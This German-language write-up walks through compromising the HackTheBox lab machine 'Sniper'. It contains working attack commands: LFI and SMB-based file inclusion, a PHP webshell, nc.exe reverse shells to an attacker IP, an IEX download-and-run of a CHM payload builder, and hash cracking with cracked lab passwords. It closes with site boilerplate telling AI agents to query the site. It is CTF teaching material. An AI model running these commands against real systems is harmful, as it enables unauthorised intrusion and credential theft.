> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/windows-medium/sniper-hackthebox-writeup.md).

# Sniper-HackTheBox-Lösung

{% embed url="<https://app.hackthebox.com/machines/211>" %}

{% hint style="warning" %}
Fähigkeiten:

* Lokales Datei-Inkludieren (LFI)
* Remote File Inclusion (RFI) (Fehlgeschlagen)
* Remote File Inclusion über SMB-Server (Net-Usershare-Technik) (Erfolg)
* Erstellen einer Webshell und Erreichen von Remote Command Execution (RCE)
* Informationsleck (Benutzer-Pivoting)
* Arbeiten mit Chisel und ScriptBlocks mit Invoke-Command
* Erstellen einer bösartigen CHM-Datei (Out-CHM.ps1) (Privilege Escalation)
  {% endhint %}

## Aufklärung

**Einrichtung des Arbeitsbereichs:**

Richten Sie den Arbeitsbereich ein, indem Sie drei Ordner erstellen, um wichtige Inhalte, Exploits und Nmap-Aufklärungsergebnisse zu speichern.

<figure><img src="/files/2b14a6f550115bfe42c30e37a061073c203241fe" alt="" width="563"><figcaption></figcaption></figure>

**VPN-Verbindung prüfen**

Prüfen Sie die VPN-Verbindung, um eine stabile Kommunikation mit dem Zielsystem sicherzustellen.

<figure><img src="/files/3152fd2ffdfedb85ee4f82aa17ab5489384329a1" alt="" width="563"><figcaption></figcaption></figure>

**Offene-Ports-Ermittlung mit Nmap:**

Erfassen Sie offene Ports und exportieren Sie die Ergebnisse in die Datei "allPorts" im Nmap-Verzeichnis:

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.10.151 -oG allPorts
```

<figure><img src="/files/9f577ad279868c9b1f07eebb00fad9c529c30d1d" alt=""><figcaption></figcaption></figure>

**Analyse offener Ports mit extractPorts:**

Verwenden Sie die Funktion extractPorts, um offene Ports in einem kompakten Format anzuzeigen und in die Zwischenablage zu kopieren. (80,135,139,445,496,67)

<figure><img src="/files/a4e1ef281e92c9bb3315003cdde80ab33881ccc2" alt="" width="563"><figcaption></figcaption></figure>

**Port- und Versionsscan mit Nmap:**

Verwenden Sie Nmap, um die Service-Versionen zu scannen und die Ausgabe in der Datei "targeted" zu speichern:

```bash
nmap -sCV -p80,135,139,445,49667 10.10.10.151 -oN targeted
```

<figure><img src="/files/5a6f204168bccda51a8074f2cfe6d5f52b8023e9" alt=""><figcaption></figcaption></figure>

### Port 80:

<figure><img src="/files/53ddc5c4c756f346263c09da0a7c20cadc046e99" alt=""><figcaption></figcaption></figure>

**Analyse mit `whatweb`:**

Wir verwendeten `whatweb` um die vom Webserver verwendeten Technologien zu identifizieren:

{% code overflow="wrap" fullWidth="false" %}

```bash
whatweb 10.10.10.151
http://10.10.10.151 [200 OK] Bootstrap[3.0.0], Country[RESERVED][ZZ], HTML5, HTTPServer[Microsoft-IIS/10.0], IP[10.10.10.151], JQuery[2.1.3], Microsoft-IIS[10.0], PHP[7.3.1], Script, Title[Sniper Co.], X-Powered-By[PHP/7.3.1]
```

{% endcode %}

## **LFI-Schwachstelle:**

Auf der Seite zum Sprachwechsel gab es einen `lang` Parameter zum Laden verschiedener PHP-Dateien, je nach gewählter Sprache.

<figure><img src="/files/76501c51c371aa6a55e20c4daca3da750409ff99" alt="" width="366"><figcaption></figcaption></figure>

Wir testeten mit einer lokalen Systemdatei:

```url
http://10.10.10.151/blog/?lang=/Windows/System32/drivers/etc/hosts
```

* Dies ermöglichte es uns, den Inhalt der `hosts` vorhandenen Benutzern.

<figure><img src="/files/1818b358e5a2c089cee5ae9969d22b6982878038" alt=""><figcaption></figcaption></figure>

**Versuche zum Lesen sensibler Dateien mit `php://filter`:**

Wir versuchten, die LFI zu nutzen, um die `index.php` Datei des Microsoft-IIS-Webservers zu lesen, die sich in `/inetpub/wwwroot/index.php`befand, aber die Operation über `php://filter` funktionierte nicht.

<figure><img src="/files/8edcaf2a304980744e3f864c2251cbb7ce0b32d0" alt="" width="563"><figcaption></figcaption></figure>

```url
php://filter/convet.base64-encode/ressource=/inetpub/wwwroot/index.php
```

<figure><img src="/files/1b77436c4aec8066c881f35183d3cf6e3bd3c844" alt="" width="563"><figcaption></figcaption></figure>

### Remote File Inclusion (RFI) (Fehlgeschlagen)

#### RFI-Test über entfernten Webserver:

Wir versuchten, eine entfernte Datei über die `?lang=http://10.10.14.3/index.html` URL zu laden, indem wir auf unseren lokalen Webserver mit Python3 verwiesen.

```bash
python3 -m http.server 80
```

```url
?lang=http://10.10.14.3/index.html
```

Aber es funktionierte nicht.

<figure><img src="/files/6700e73916077951df03f59221b61269ba06ec8b" alt="" width="518"><figcaption></figcaption></figure>

## Remote File Inclusion (SMB-Server)

**SMB-Server erstellen:**

Wir erstellten einen lokalen SMB-Server mit `smbserver.py` und gaben das aktuelle Verzeichnis frei:

```bash
smbserver.py share $(pwd) -smb2support
```

Dann versuchten wir, eine Datei vom SMB-Server zu laden, indem wir den `lang` Parameters

```bash
?lang=/10.10.14.3/share/index.html
```

* Diesmal interpretierte der Server unsere `index.html` Datei korrekt und zeigte ihren Inhalt ("Hello World") an.

<figure><img src="/files/a286782607bceee7ae572cf21de1d4165142ea3b" alt="" width="563"><figcaption></figcaption></figure>

**Erstellen einer PHP-Webshell-Datei (`cmd.php)`**

Wir erstellten eine `cmd.php` Datei auf unserem SMB-Server, um entfernte Befehle über die `cmd` Parameter anfällig für Open Redirect ist:

```bash
<?php
echo "<pre>" . shell_exec($_GET['cmd']) . "</pre>";
?>
```

/*/* Befehlsausführung über SMB/*/*

```bash
//10.10.14.3/share/cmd.php&cmd=<command>
```

Mit der folgenden URL führten wir den `whoami` Befehl:

```bash
//10.10.14.3/share/cmd.php&cmd=whoami
```

<figure><img src="/files/c5e7c14093b01e497fed07cd974630892c168ded" alt="" width="563"><figcaption></figcaption></figure>

### Reverse Shell (nc.exe)

**Herunterladen `nc.exe` für die Reverse Shell:**/ Wir beschafften die `nc.exe` Binärdatei aus den laufenden Tools in `/usr/share/SecLists/Web-Shells/FuzzDB/nc.exe` und kopierten sie in das Arbeitsverzeichnis.

```bash
locate nc.exe 
cp /usr/share/SecLists/Web-Shells/FuzzDB/nc.exe .
```

**Auf Port 443 lauschen:**/ Wir richteten mit `nc` einen Listener ein, um auf Port 443 zu lauschen:

```bash
rlwrap nc -nvlp 443
```

**Ausführung der Reverse Shell über SMB:**/ Wir starteten dann eine Reverse Shell, indem wir den `cmd` Parameter auf unsere Datei

```
?lang=//10.10.14.3/share/cmd.php&cmd=//10.10.14.3/share/nc.exe -e cmd 10.10.14.3 443
```

So erhielten wir eine Reverse Shell auf unserer Maschine.

<figure><img src="/files/c2356ecb48203ed1c93aeadcb0c2400a185fc980" alt="" width="563"><figcaption></figcaption></figure>

## Privilegieneskalation

**Suche nach sensiblen Dateien:**/ Wir suchten in PHP-Dateien nach sensiblen Informationen und fanden die `db.php` Datei mit Datenbank-Zugangsdaten:

* Benutzer: `dbuser`
* Passwort: `36mEAhz/B8xQ~2VM`

<figure><img src="/files/c6a4c5db1331a00355e1c73acac5edfb29614734" alt=""><figcaption></figcaption></figure>

**Überprüfung der Zugangsdaten für einen anderen Benutzer:**

<figure><img src="/files/19d8eb4b829e69b5c9c3dcc3ab4b75b146305ee6" alt="" width="563"><figcaption></figcaption></figure>

Wir entdeckten einen weiteren Benutzer namens **Chris** zusätzlich zum Benutzer **Administrator**. Wir verwendeten **CrackMapExec** um zu prüfen, ob `Chris` die Zugangsdaten gültig waren:

```bash
crackmapexec smb 10.10.10.151 -u 'Chris' -p '36mEAhz/B8xQ~2VM'
```

* Die Verbindung war erfolgreich.

<figure><img src="/files/44b648d38ec93dde82b0383888d73fb0fb1ad71f" alt=""><figcaption></figcaption></figure>

**Überprüfe die Berechtigungen des Benutzers "Chris":**

* Wir beobachteten, dass der Benutzer `Chris` der **Remote Management User** Gruppe angehörte, wodurch er sich remote verbinden konnte.

<figure><img src="/files/29ecd55d6f3566675a8ba9521162e3f4170c8e6d" alt="" width="563"><figcaption></figcaption></figure>

/*/* Analyse der offenen Ports\:/*/*

Der für die Remoteverbindung erforderliche Port (Port 5985, von WinRM verwendet) war nicht extern, sondern intern offen. Wir verwendeten `netstat` um die lauschenden Ports auf dem Zielsystem zu prüfen:

```bash
netstat -an | findstr "LISTEN"
```

<figure><img src="/files/60e40a9e108e2a0782a6154f6ff5cd5366211199" alt="" width="563"><figcaption></figcaption></figure>

## Portweiterleitung (5985 WinRM)

### 1. PowerShell

Wir starteten PowerShell auf unserer Angriffsmaschine:

```bash
powershell
```

Wir ermittelten den Namen der Windows-Umgebung mit dem Befehl `hostname`, und stellten fest, dass der Hostname `Sniper`.

```powershell
hostname
```

Dann erstellten wir eine Variable für den Benutzer `Chris` und eine weitere für das Passwort mit `ConvertTo-SecureString`:

```powershell
$user = "Sniper/Chris"
```

```powershell
$password = ConvertTo-SecureString '36mEAhz/B8xQ~2VM' -AsPlainText -Force
```

Dann erstellten wir ein `PSCredential` Objekt, um Remote-Befehle auf dem Zielsystem ausführen zu können:

```bash
$cred = New-Object System.Management.Automation.PSCredential($user, $password)
```

**Ausführung von Remote-Befehlen:**/ Wir verwendeten den folgenden Befehl, um `whoami` remote auszuführen und den Zugriff zu überprüfen:

```powershell
Invoke-Command -Credential $cred -ComputerName Sniper -ScriptBlock {whoami}
```

* Dies bestätigte uns, dass wir korrekt verbunden waren als **Chris**.

<figure><img src="/files/6629e385ca812e690b79ae7a199afd9ae1c13387" alt=""><figcaption></figcaption></figure>

**Reverse Shell:**/ Um vollen Zugriff auf das System zu erhalten, richteten wir auf Port 4444 einen Listener ein:

```bash
rlwrap nc -nlvp 4444
```

Dann starteten wir eine Reverse Shell mit `nc.exe` von unserem SMB-Server:

{% code overflow="wrap" %}

```powershell
Invoke-Command -Credential $cred -ComputerName Sniper -ScriptBlock {//10.10.14.3/share/nc.exe -e cmd 10.10.14.3 4444
```

{% endcode %}

<figure><img src="/files/e28dc17d8251793d39eceda25a41ddac38926e5e" alt="" width="563"><figcaption></figcaption></figure>

### 2. Chisel

{% embed url="<https://github.com/jpillora/chisel/releases>" %}

**Dateien herunterladen und vorbereiten:**/ Wir haben die komprimierten **Chisel** Dateien heruntergeladen, nämlich:

* `chisel-linux`
* `chisel-windows.exe`

{% embed url="<https://github.com/jpillora/chisel/releases/download/v1.10.1/chisel_1.10.1_linux_amd64.gz>" %}

{% embed url="<https://github.com/jpillora/chisel/releases/download/v1.10.1/chisel_1.10.1_windows_amd64.gz>" %}

Nach dem Entpacken übertrugen wir die **Chisel** Windows-Datei auf das Zielsystem:

```bash
copy //10.10.14.3/smb/chisel-windows.exe chisel-windows.exe
```

<figure><img src="/files/90d51a7f50506d40c9e02ae27a9cce763850c92c" alt=""><figcaption></figcaption></figure>

**Verbindung zur Angriffsmaschine mit Chisel herstellen:**/ Wir starteten **Chisel** im Servermodus auf der Angreifer-Maschine auf Port 8888:

```bash
./chisel-linux server -p 8888 -reverse
```

Dann führten wir auf dem Ziel-Windows-System **Chisel** im Client-Modus aus, um eine Verbindung zu unserer Angriffsmaschine herzustellen und Port 5985 auf unsere Maschine umzuleiten:

```bash
chisel-windows.exe client 10.10.14.3:8888 R:5985:127.0.0.1:5985
```

<figure><img src="/files/570dbc820aa35aeea368a8f823cf92e46bc3245f" alt=""><figcaption></figcaption></figure>

**Überprüfung des umgeleiteten Ports mit `lsof`:**/ Wir überprüften mit dem Befehl, dass Port 5985 nach der Umleitung korrekt weitergeleitet wurde:

<figure><img src="/files/677a9cd9e73a9e1ba04b9be4eea423e00d926755" alt=""><figcaption></figcaption></figure>

**Anmeldung mit WinRM:**/ Wir verwendeten **CrackMapExec** um die Verbindung über **WinRM** auf den umgeleiteten Port 5985 zu testen:

```bash
crackmapexec winrm 10.10.14.3 -u 'Chris' -p '36mEAhz/B8xQ~2VM'
```

* Wir erhielten das Symbol **kompromittiert**, was bestätigte, dass wir erfolgreich über WinRM auf die Maschine zugreifen konnten.

<figure><img src="/files/8e495c295fe15b5f911aea5304b47d389516c03e" alt=""><figcaption></figcaption></figure>

**Endgültige Verbindung mit Evil-WinRM:**/ Schließlich verwendeten wir **Evil-WinRM** um eine Remote-Shell als zu erhalten **Chris**:

```bash
evil-winrm -i 10.10.14.3 -u 'Chris' -p '36mEAhz/B8xQ~2VM'
```

### Flagge user.txt :)

<figure><img src="/files/28a884e3d7b8aca4ddac8c5d542ebb0a89c0b5aa" alt=""><figcaption></figcaption></figure>

**Untersuchung des Verzeichnisses "docs":**/ Im Stammverzeichnis von **Windows**, fanden wir einen Ordner **docs** mit einer `note.txt` Datei mit der folgenden Nachricht:

<figure><img src="/files/af6218ef7ef7ccb22686332a6da37c7c6d37eadf" alt=""><figcaption></figcaption></figure>

> Hallo Chris,
>
> Deine PHP-Kenntnisse sind wirklich schlecht. Kontaktiere Yamitenshi, damit er dir beibringt, wie man es benutzt, und behebe dann die Website, weil dort viele Bugs sind. Ich hoffe auch, dass du die Dokumentation für unsere neue Anwendung vorbereitet hast. Lege sie hier ab, wenn du fertig bist.
>
> Mit freundlichen Grüßen,/ Sniper-CEO.

**Suche im System nach der Dokumentation:**/ Wir suchten nach der vom CEO erwähnten Dokumentation und fanden sie im **Downloads** Verzeichnis unter der **instructions.chm** vorhandenen Benutzern.

<figure><img src="/files/b45939f73955648174a2bbf59980c173655a2074" alt="" width="563"><figcaption></figcaption></figure>

### **Erstellung einer bösartigen CHM-Datei:**

Nachdem wir herausgefunden hatten, dass der CEO die **CHM** Dateien im **docs** Verzeichnis ansehen wollte, suchten wir im Internet nach einer Anleitung zum Erstellen bösartiger CHM-Dateien.

{% embed url="<https://github.com/samratashok/nishang/blob/master/Client/Out-CHM.ps1>" %}

**HTML Help Tool herunterladen:**/ Wir luden **HTML Help** herunter und verwendeten ein PowerShell-Skript, um eine bösartige CHM-Datei zu erstellen

* [HTML Help](https://archive.org/download/htmlhelp/htmlhelp.exe)

```bash
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/refs/heads/master/Client/Out-CHM.ps1')
```

Dann modifizierten wir das Skript, um einen bösartigen Remote-Befehl auszuführen über **nc.exe**:

```bash
Out-CHM -Payload "//10.10.14.3/smb/nc.exe -e cmd 10.10.14.3 443" -HHCPath "C:/Program Files (x86)/HTML Help Workshop"
```

<figure><img src="/files/7e9127d998aa14e20abd9834fb7574d8664f8a01" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/88821836ef72ae79d65e517cc8f98939f6258356" alt="" width="563"><figcaption></figcaption></figure>

**Einschleusen der bösartigen CHM-Datei in das Zielverzeichnis:**/ Wir haben auf unserer Angriffsmaschine einen SMB-Server konfiguriert, um die bösartige Datei auf das Ziel-Windows-System zu übertragen:

```bash
smbserver.py smbFolder $(pwd) -smb2support -username jordan -password jordan1234
```

/*/* Mit der SMB-Freigabe vom Opferrechner verbinden:/*/*/ Vom Ziel-Windows-System aus haben wir die SMB-Freigabe eingehängt und die bösartige `doc.chm` Datei ein:

```powershell
net use x: //192.168.0.190/smbFolder /user:jordan jordan1234
copy ./doc.chm x:/doc.chm
```

**Warten auf die Reverse Shell:**/ Wir starteten einen Listener auf unserer Angriffsmaschine und warteten auf eine Reverse-Shell-Verbindung:

```bash
rlwrap nc -nlvp 443
```

<figure><img src="/files/1da2ba55ea448f586257fc0919e77614a162a672" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/5bae501ac1fe6fe0c9de95d6d8536922b2ef7b4e" alt="" width="563"><figcaption></figcaption></figure>

/*/* Aufgetretenes Problem:/*/*/ Obwohl die CHM-Datei geöffnet wurde, erhielten wir keine Reverse Shell. Allerdings gelang es uns, einen **SMB Relay V2** auf unserem Server zu erfassen. Dadurch erhielten wir einen Authentifizierungs-Hash für den Benutzer `Administrator`

<figure><img src="/files/708ff256a5ca325591212bf559f5cf63555b513c" alt=""><figcaption></figcaption></figure>

#### **Den Administrator-Hash knacken:**

```bash
john --wordlist=/usr/share/wordlists/rockyou.txt hash
```

`Administrator:butterfly!#1`

<figure><img src="/files/f9af463e0b9144a6693741a9fe40a329a7ba64a7" alt=""><figcaption></figcaption></figure>

#### **Als Administrator anmelden:**

Mit den erhaltenen Zugangsdaten verwendeten wir **Evil-WinRM** um eine Verbindung zur Maschine als Administrator herzustellen:

```bash
evil-winrm -i 10.10.14.3 -u 'Administrator' -p 'butterfly!#1'
```

<figure><img src="/files/b7c6a2507ab30e9d1d56a0ba85668b73dfbfbbfd" alt=""><figcaption></figcaption></figure>

### Flag root.txt :)

<figure><img src="/files/8d635b3d51addcf19c83d86c8b92924ff3366674" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/75512e3fdea9da32b5dd761921af923d88f03363" alt="" width="521"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/windows-medium/sniper-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
